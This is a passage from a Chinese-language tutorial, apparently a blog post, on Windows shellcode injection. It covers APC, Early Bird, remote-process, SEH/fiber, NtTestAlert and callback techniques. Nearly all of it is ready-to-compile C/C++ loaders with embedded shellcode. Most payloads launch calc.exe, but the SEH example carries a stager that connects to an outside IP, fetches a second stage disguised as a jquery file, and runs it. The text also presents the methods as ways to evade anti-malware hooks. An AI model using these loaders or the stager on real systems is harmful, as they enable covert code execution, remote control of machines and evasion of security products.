// 恢复挂起的线程,开始执行(包括队列的 APC 函数)
ResumeThread(hThread);

return 0; // 程序结束,返回 0 表示成功执行
}

高级APC注入-Early Bird注入

什么是Early Bird注入?

Early Bird本质上是一种APC注入与线程劫持的变体

Early Bird注入通常指的是在目标进程的main函数之前执行注入这样做可以确保shellcode在程序开始执行之前被执行,从而隐藏注入行为.

原因在用于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权.从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息.

新建一个进程,在进程的主线程初始化前进行APC注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include<stdio.h>
#include <Windows.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 初始化一个 STARTUPINFO 结构体,用于控制新进程主窗口的外观和行为。
STARTUPINFO si = { 0 };
// 初始化一个 PROCESS_INFORMATION 结构体,用于接收关于新创建的进程和线程的信息。
PROCESS_INFORMATION pi = { 0 };
// 设置 STARTUPINFO 结构体的 cb 字段为其大小,这是必需的初始化步骤。
si.cb = sizeof(STARTUPINFO);

// 使用 CreateProcessA 函数创建一个新的进程,运行 Internet Explorer。
// 参数包括程序路径,命令行参数(NULL 表示没有),安全属性(NULL 表示默认),
// 子进程句柄继承(TRUE 表示允许),创建标志(CREATE_SUSPENDED 表示创建后初始挂起,CREATE_NO_WINDOW 表示不创建窗口),
// 环境变量(NULL 表示使用父进程的环境),工作目录(NULL 表示使用父进程的工作目录),
// STARTUPINFO 指针(提供进程启动设置),PROCESS_INFORMATION 指针(用于接收进程信息)。
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, (LPPROCESS_INFORMATION)&pi);

// 在目标进程中分配内存块,用于存储外部代码或数据。
// 参数包括目标进程句柄,所需地址(NULL 表示由系统决定),
// 大小(0x1000 字节),内存分配类型(MEM_RESERVE | MEM_COMMIT 表示保留和提交),
// 保护属性(PAGE_EXECUTE_READWRITE 允许执行、读取和写入)。
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将外部代码或数据写入目标进程的内存中。
// 参数包括目标进程句柄,目标地址,源数据的指针,数据大小,
// 以及用于接收写入的字节数(NULL 表示忽略该信息)。
WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)buf, sizeof(buf), NULL);

// 将 APC(异步过程调用)排入目标线程的 APC 队列中,指定要执行的函数地址。
// 当线程进入可警报状态时,将执行此函数。
// 参数包括 APC 函数指针,目标线程句柄,以及用户数据(NULL 表示无)。
QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL);

// 恢复挂起的线程,使其开始执行。
// 这将导致线程运行,并最终执行排入的 APC。
ResumeThread(pi.hThread);

// 关闭线程句柄,释放系统资源。
// 在不再需要进一步操作后进行,避免资源泄漏。
CloseHandle(pi.hThread);
}

可配合父进程伪造、当前目录伪造

新建一个进程,在进程内创建一个挂起的线程,往这个线程内插入APC注入,随后恢复进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include<stdio.h>
#include <Windows.h>

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
HANDLE hThread = NULL; // 定义一个线程句柄,用于储存新创建线程的句柄。
HANDLE hProcess = 0; // 定义一个进程句柄,初始化为0。
DWORD ProcessId = 0; // 定义一个用于存储进程 ID 的变量(未使用)。
LPVOID AllocAddr = NULL; // 定义一个指针,用于存储分配的内存地址。

// 获取当前进程的句柄并赋值给 hProcess。
hProcess = GetCurrentProcess();

// 在当前进程中分配一块内存,大小为 buf 的大小加 1 字节。
// MEM_COMMIT 表示提交物理内存,PAGE_EXECUTE_READWRITE 表示允许执行、读取和写入。
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(buf) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将 buf 中的数据写入到当前进程的分配内存中。
// 参数包括目标进程句柄,目标地址,源数据的指针,数据大小,以及接收写入的字节数(0 表示不需要)。
WriteProcessMemory(hProcess, AllocAddr, buf, sizeof(buf) + 1, 0);

// 创建一个新的线程,并使其最初处于挂起状态。
// 线程函数指针被设置为 0xfff,这是一个无效地址,通常会导致未定义行为。
// 返回的新线程句柄被存储在 hThread 中。
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);

// 将 APC 函数(在 AllocAddr 中)排入新线程的 APC 队列。
// 当线程进入可警报状态时,将执行此函数。
QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);

// 恢复挂起的线程,使其开始运行。
// 这将导致线程运行,并执行排入的 APC。
ResumeThread(hThread);

// 等待线程完成执行。
// INFINITE 表示无限等待,直到线程结束。
WaitForSingleObject(hThread, INFINITE);

// 关闭进程句柄,释放资源。
// 由于 hProcess 是当前进程的句柄,应该使用 CloseHandle 释放。
CloseHandle(hProcess);

// 关闭线程句柄,释放资源。
CloseHandle(hThread);

return 0;
}

新建一个进程,在进程内创建一个挂起的线程,往这个线程内插入APC注入,利用未记录的ntdll中的NtTestAlert执行Shellcode,随后恢复进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <Windows.h>
#pragma comment(lib,"ntdll")
// 定义一个函数指针类型 myNtTestAlert,该指针指向一个无参数、返回类型为 NTSTATUS 的函数。
// NTAPI 是一种调用约定,通常在 Windows API 中使用,以确保函数参数以特定顺序入栈。
using myNtTestAlert = NTSTATUS(NTAPI*)();

int main()
{
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// 获取 ntdll 模块中的 NtTestAlert 函数地址。
// 通过 GetModuleHandleA 获取 ntdll 的模块句柄,然后使用 GetProcAddress 获取 NtTestAlert 函数地址。
// 将获取的地址转换为 myNtTestAlert 类型的函数指针。
myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

// 定义一个变量 shellSize,用于存储缓冲区 buf 的大小。
SIZE_T shellSize = sizeof(buf);

// 在当前进程中分配一块可执行的内存,用于存储和执行 shellcode。
// MEM_COMMIT 用于提交内存,PAGE_EXECUTE_READWRITE 允许执行、读取和写入。
LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将 buf 中的数据写入到分配的内存中。
// 参数包括目标进程(当前进程)、目标地址(shellAddress)、源数据的指针、数据大小以及接收写入的字节数(NULL 表示不需要)。
WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);

// 将 shellAddress 转换为 PTHREAD_START_ROUTINE 类型的指针,指向线程的开始地址。
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

// 将 APC 函数(在 shellAddress 中)排入当前线程的 APC 队列。
// 当线程进入可警报状态时,将执行此函数。
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);

// 调用 NtTestAlert 函数,触发 APC 调度,执行排入的 APC 函数。
testAlert();
}

在已有进程内创建一个挂起的线程,往这个线程内插入APC注入,随后恢复进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>


unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

// 描述:根据进程名获取进程ID
int GetProcessIDByName(const wchar_t* processName) {
// 创建一个快照,获取系统中所有的进程
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return 0; // 创建快照失败,返回0表示错误
}

PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; // 初始化PROCESSENTRY32结构
if (Process32First(hSnapshot, &processEntry)) { // 获取第一个进程信息
do {
// 比较进程名,_wcsicmp为不区分大小写的宽字符字符串比较
if (_wcsicmp(processEntry.szExeFile, processName) == 0) {
CloseHandle(hSnapshot); // 找到匹配的进程名后,关闭快照句柄
return processEntry.th32ProcessID; // 返回找到的进程ID
}
} while (Process32Next(hSnapshot, &processEntry)); // 遍历下一个进程
}

CloseHandle(hSnapshot); // 关闭快照句柄
return 0; // 未找到匹配的进程名,返回0
}

int main() {
HANDLE hThread = NULL;
HANDLE hProcess = 0;
DWORD ProcessId = 0;
LPVOID AllocAddr = NULL;

// 目标进程名
const wchar_t* targetProcessName = L"RuntimeBroker.exe";
// 获取目标进程的ID
int processID = GetProcessIDByName(targetProcessName);

// 打开目标进程,获取句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, processID);
// 在目标进程中分配内存,允许执行、读取和写入
AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(buf) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将数据(通常为shellcode)写入目标进程分配的内存
WriteProcessMemory(hProcess, AllocAddr, buf, sizeof(buf) + 1, 0);

// 创建远程线程,初始状态为挂起
hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);

// 将 APC 函数排入远程线程的 APC 队列中
QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);
// 恢复线程的执行
ResumeThread(hThread);

// 关闭句柄以释放资源
CloseHandle(hProcess);
CloseHandle(hThread);
return 0;
}

SHE结构化异常执行-SEH

​ SEH(Structured Exception Handling)结构化异常处理,是windows操作系统默认的错误处理机制,它允许我们在程序产所错误时使用特定的异常处理函数处理这个异常,尽管提供的功能预取为处理异常,但由于其功能的特点,也往往大量用于反调试。

异常发生时,执行异常代码的线程会发生中断,转而运行SEH,此时操作系统会把线程CONTEXT结构体的指针传递给异常处理函数的相应参数.由于这个处理函数可以自定义,所以可以利用操作系统来帮助执行shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <windows.h>

int run() {
PVOID mainFiber = ConvertThreadToFiber(NULL);
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x6a\x71\x75\x65\x72\x79\x2d\x33\x2e\x33\x2e\x32\x2e\x73\x6c\x69\x6d\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\x0c\xd9\x1c\xcd\xbe\xeb\x1c\x6f\x48\x37\x3f\x6f\x06\x19\x70\x8d\x68\x13\xc8\x8c\x64\x96\x02\x10\x73\x28\xf8\x7a\x10\x40\x58\xf1\xc0\x25\x17\x16\x5b\x36\x3e\x60\x8b\x2f\x48\x1c\xdb\xe1\xa9\x65\x4d\xd5\xda\x65\xdf\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x63\x6f\x64\x65\x2e\x6a\x71\x75\x65\x72\x79\x2e\x63\x6f\x6d\x2f\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x43\x68\x72\x6f\x6d\x65\x2f\x31\x32\x39\x2e\x30\x2e\x30\x2e\x30\x20\x53\x61\x66\x61\x72\x69\x2f\x35\x33\x37\x2e\x33\x36\x20\x45\x64\x67\x2f\x31\x32\x39\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x00\xe0\x9d\x8c\xc8\xa2\xc1\x78\xa5\x64\x66\xfc\x40\xac\xd3\x87\x4a\x58\xaa\xf5\xfc\xc8\xd6\xc0\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\xaf\x0f\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x38\x33\x2e\x32\x32\x39\x2e\x31\x32\x33\x2e\x31\x34\x35\x00\x00\x01\x86\xa0";

PVOID shellcodeLocation = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(shellcodeLocation, buf, sizeof(buf));

PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL);
SwitchToFiber(shellcodeFiber);

return 0;

}

int main() {
__try {
// 尝试执行可能引发异常的代码
int* ptr = nullptr;
*ptr = 42;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
// 异常处理程序,在这里执行弹窗函数
MessageBox(NULL, L"YES", L"Error", MB_OK | MB_ICONERROR);
run();
}
return 0;
}

NtTestAlert

NtTestAlert是一个未公开的Win32函数,该函数的效果是如果APC队列不为空的话,其将会直接调用函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
#pragma comment(lib,"ntdll")

typedef NTSTATUS(NTAPI* pNtTestAlert)();

int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
LPVOID lpAddress = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE);
WriteProcessMemory(GetCurrentProcess(), lpAddress, buf, sizeof(buf), NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)lpAddress;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), 0);
NtTestAlert();

return 0;
}

回调函数运行

在C++中,回调函数是一种通过函数指针或函数对象来实现的机制,用于将一个函数作为参数传递给另一个函数,以便在特定事件或条件触发时调用这个函数

想象一下,你在看一部电影,电影结束后,系统会自动播放片尾曲。这种“电影结束后播放片尾曲”的机制可以类比为回调函数。

工作方式

  1. 函数指针:
    • 你可以把函数指针看作是指向某个函数的“地址”。
    • 通过将这个“地址”传递给另一个函数,你可以在需要的时候调用原始的函数。
  2. 函数对象(仿函数):
    • 类似于函数指针,函数对象是一个可以像函数一样调用的对象。
    • 通常通过重载operator()实现。

EnumDateFormatsA

1
2
3
4
5
6
7
8
BOOL EnumDateFormatsA(
// 指向应用程序定义的回调函数的指针
[in] DATEFMT_ENUMPROCA lpDateFmtEnumProc,
// 用于指定要为其检索日期格式信息的区域设置的区域设置标识符
[in] LCID Locale,
// 指定日期格式的标志
[in] DWORD dwFlags
);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <Windows.h>


int main() {
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x